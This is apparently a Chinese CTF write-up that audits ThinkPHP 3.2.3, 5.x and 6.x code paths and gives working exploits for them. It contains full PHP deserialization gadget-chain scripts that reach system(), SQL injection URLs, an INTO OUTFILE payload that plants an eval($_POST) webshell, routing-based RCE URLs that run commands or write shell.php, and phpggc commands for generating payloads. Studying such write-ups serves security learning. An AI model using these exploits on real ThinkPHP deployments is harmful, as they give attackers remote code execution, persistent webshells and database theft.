跟进 toArray,看看。

image-20251007111547351

这里的 visible 看起来比较好利用,找到 visible 但是都不是很好利用,只能想想 call 方法了,顺便说一下,这里进去的条件就是:

this->append 不为空,this->append 中 键名 key,键值 namename 为数组。

在看一下 relation = $this->getRelation($key);,跟进这个函数看一下。

image-20251007111929841

relation = this->relation[$key],但是为了能进到下面,if(!relation) 为真,所以说这里我们 不能对 this->relation 赋值。

我们往下看,进到 getAttr

image-20251007112459352

getData

image-20251007112552419不就返回了一个 relation = this->data[$key]嘛。我们找到一个 call 方法,直接把 类 赋值给这个就行了。

找到 class Request

image-20251007112638690

构造 EXP 的时候可以传入数组,变成 call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。虽然第330行用 array_unshift 函数把本类对象 $this 放在数组变量 $args 的第一个,但是我们可以寻找不受这个参数影响的方法。比如类似于:

$this->hook = ["visible"=>[$this,"isAjax"]];

这样调用的时候就可以调用本类下面的 isAjax 方法了。

image-20251007113323790

这里 this->param($this->config['var_ajax']),这里可控,往下找找。

image-20251007113511587

input,注意注意,$name = $this->config['var_ajax'] ,注意别给人家复制了,要不然就在这里解析了。

image-20251007124337048

image-20251007115037160

看下在写点什么,首先就是 filter = this->getFilter ,看一下。

image-20251007115122285

其实就是 filter = this - > filter,然后插入了一个 default 进去,变成一个数组。

然后下面 array_walk_recursive 函数的意思就是,对于 data 中的每个键值,都调用一下 this->filterValue,并且额外传递一个参数 filter

那么 data是啥呢,其实找找可以发现,就是 input 的第一个参数,也就是 this->param

image-20251007114258995

进到这里可以发现了,其实就是 filter($this->param),这里 this->param 需要是一个数组哦。

另外可以注意到,如果不传 param 为固定值也可以在 url 中传,毕竟可以看一下这段代码:

image-20251007124523984

$this->mergeParam 默认就是 false 哦。

poc:

image-20251018165857865

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["zzz"=>["zzz"]];
$this->data = ["zzz"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
// protected $param = [];
protected $config = [];
protected $mergeParam = false;
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
// $this->param = ['ls'];
$this->mergeParam = false;
}
}
namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

image-20251007123638852

本地环境不知道咋了打不通,上机通了。

【TP6.x】反序列化 RCE

这题跟个代码试一下吧。

首先找到利用点,控制器的 index.phpunserialize 触发范反序列化,所以我们从 destruct 开始找。

image-20251005142844514

找到一个,跟进去。

lazySave=true,进 save

image-20251005143220347

进一下 isempty 只需要 this.data 不为空即可

image-20251005143558561

进一下 trigger 只需要 $this->withEvent] = false 即可。

image-20251006145828308

然后继续看 save 方法,只需要 this.exists 为真即可,进一下 updateData

image-20251005143537638

漏洞方法为 checkAllowFields 不需要任何条件就触发,跟进去看一下。

image-20251005143716259

漏洞方法是 db,也是无需任何条件就会触发,跟进去。

image-20251005143920752

找到字符串拼接,只需要把 this.table 设置成一个有 tostring 方法的类即可。

找到 src/model/concern/Conversion.php

image-20251005144105924

跟一下跟到 getAttr

image-20251005144229084

看一下代码逻辑,$data = array_merge($this->data,$this->relation),所以就相当于 $data = $this->data,然后发现这里的 key 就是 $this->data 里的键名,我们假定为 whoami

再跟一步,

image-20251005144302701

可以知道 $name = whoami,那么 value = $this->getData($name) ,那进 getData 看一哈是什么:

image-20251006150932922

其实就是如果这个键名在 $this->data 中存在就返回 $this->data 的值,绕了一大顿,返回了要执行的那玩意,我们往下看看,这个东西到底需要是什么数据类型。

跟进 getValue 看一哈,

image-20251005144357425

fieldname 其实就是 name,可以看一下这个函数就知道了。

image-20251006151259771

这里要求 fieldnamethis.Json 这个数组里,并且 this.withAttr 是一个数组。

找到注入点了:

image-20251005144415349

需要 this.jsonAssoc=true

我们可以看一下嘛,遍历了 $this->withAttr['whoami'] 这个数组,然后得到其中的索引和值,那么 $value[0]="ls / "$closure = 'system',这下回到刚才的问题了,到底 this->data["whoami"] 也就是 value 需要是什么东西,就是一个数组呗,里头 [0]="ls /"

之后就随便寻找一个可以被实例化的 Model 的子类开始构造。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

namespace think\model\concern;

trait Attribute
{
private $data = ["Lethe" => "whoami"];
private $withAttr = ["Lethe" => "system"];
}

namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

image-20251006152042592

【TP3.2.3】SQL 纯find 注入

image-20251007153731611

先输入个 id = 1 试一下,发现会把 options["where"]["id"] = 1,然后进 parseOptions 看一哈。

image-20251007154322925

options["where"] 是数组,所以会进这里。

image-20251007154418608

这个函数大概作用就是根据数据库中的值,检测一些常见的类型,然后给他们强转一哈,这非常不好。

比如本来注入你要搞:id = 1 ' union select xxxxxx ,然后数据库里 id 的类型是 int,这样一下子就给你转成 id = 1 了,这不 gg 了。

那就不让进这个转换的话,只有一个办法就是让 options["where"] 不是数组。

那很简单了。

我们传入 id[where]=1',这样的话直接走那个循环。

image-20251007154946730

options['where'] = -1' ,就过掉检测了。

image-20251007155122083

继续跟代码,跟到这个 select

image-20251007155640916

跟进 bulidSelectSql

image-20251007155701671

跟进 parseSQL

image-20251007160001796

跟一下看一下,

image-20251007160052663

由于我们 options["where"] 就是一个字符串,所以直接返回掉了。

image-20251007160134635

也就是 WHERE + options["where"] 的内容。

所以说最后的payload:

1
?id[where]=id=-1 union select 1,flag4s,3,4 from flags#

【TP3.2.3】SQL where()->find 注入

源码:

where("id=".id)

这里我们进一下 where

image-20251007160932680

传个 id=1,可以发现 wherestring 类那么直接最后 this->options['where'] = array("_string"->"1")

我们这里认为 数据库里面 id 的值是 varchar,如果是 int 的话,那可能就被强转掉了,没法注入。

这里进一下 find 然后进select,然后一步一步跟到 parseWhere,方法跟上面相同的。

image-20251007161438947

进来之后发现 options["_string"] 特殊处理,进来。

这里的 key = _stringvalue=1

image-20251007161647390

这里一看,我去,_string 这个情况直接括号括起来,return 了。

这可好,直接括号闭合突突突。

payload:

1
?id=-1) union select 1,flag4s ,3,4 from flags%23

【TP3.2.3】SQL Comment 注释注入

源码:

-comment($id)->find(intval($id))

只能跟一下 comment 了,跟上面 where 其实是一个思路,跟到最后,其实就是 parseComment

image-20251007162730878

直接闭合就行。

然后发现其实这个 comment 被拼接在 limit 1 之后了。尝试写文件。

payload:

1
?id=1*/into outfile "/var/www/html/qwq.php" LINES STARTING BY '<?php eval($_POST[1]);?>'%23

【TP3.2.3】where()->find 注入2

源码:

1
2
3
4
$map = array(
'id'=>$_GET["id"]
)
$user = M("users")->where($map)->find();

这次的话,不是 options["where"] = array("_string"->"1"),直接就是 options["where"] = array("id"->"1")

然后直接跟,进 parseWhere

image-20251007163249253

进一下 parseWhereItem

image-20251007163428452

可以发现,我们如果 val 也就是 id 是数组的话,并且 val[0] = exp,可以进这个 expval[1] 当作拼接语句的值。

payload:

1
?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

【TP 3.2.3】assign 变量覆盖导致 RCE

源码:

image-20251007164148451

image-20251007164124472

看一下,如果 name 不是数组,this->tVar[$name] = $value

然后我们跟一下 display

image-20251007164420812

进一下 fetch

image-20251007164445926

extract 函数的主要作用是:将一个关联数组(键值对)中的键名转换为变量名,并将其对应的值赋给这些变量。

简单来说,它能把一个数组“打散”,变成一个个独立的变量,让你可以直接使用变量名来访问数组的值,而不需要通过 $array['key'] 的方式。

那这不跟下面的 eval 凑一起了?

直接 this->tvar["_content"]=木马,直接打散后执行就行。

payload:

1
?name=_content&from=<?php system("cat /f*")?>

【TP5.0.22】非强制路由 RCE

跟进 /public/run 函数。

image-20251008135638870

routeCheck

image-20251008135700863

先获取一下 path,然后再 Route::check

我们可以进一下 path 看一哈。

image-20251008135830989

pathinfo

image-20251008135952302

这里就是读一下,兼容模式配置 ?s= 的是否存在,如果存在就去除掉 / 然后返回。

image-20251008140142093

这里就是看一下有没有强制路由,如果有的话就报错了,如果没有的话继续往下走,走到 parseUrl

image-20251008140244215

他会先把 / 替换成 |,然后调用 parseUrlPath 进行分割+解析。

image-20251008140554963

走到这里。

image-20251008140645016

最后面 return 掉。然后我们继续回来看。

image-20251008141029932

走这里的 exec

image-20251008141152461

显然根据上面来看,我们是 module

跟进 module 方法。

这里面就是进行初始化,调用就行了。

利用条件:服务器没有开启强制路由。

非强制路由相当于开了一个大口子,可以任意调用当前框架中的任意类的任意方法并传参。

payload:

1
2
3
4
5
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f* //这个调用任意方法
?s=index/\think\Request/input&filter[]=system&data=tac /f*//这个审过的,input() -> filter(data)
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php system('tac /f*');?> //写码
?s=index/\think\Container/invokeFunction&function=assert&vars[0]=system('tac /f*');
?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>//call 方法两个参数 method parmas

phpggc

介绍一款自动化工具,能针对一些常见 php 框架进行漏洞自动化生成。

1
./phpggc -l thinkphp #列出可用的漏洞 name

image-20251008210935048

1
2
3
./phpggc ThinkPHP/RCE3 system "cat /flag" --base64
./phpggc ThinkPHP/FW1 "/var/www/html/shell.php" "/tmp/shell_content"
./phpggc -p phar ThinkPHP/RCE3 system "id" -o payload.phar

image-20251008212734668

打通。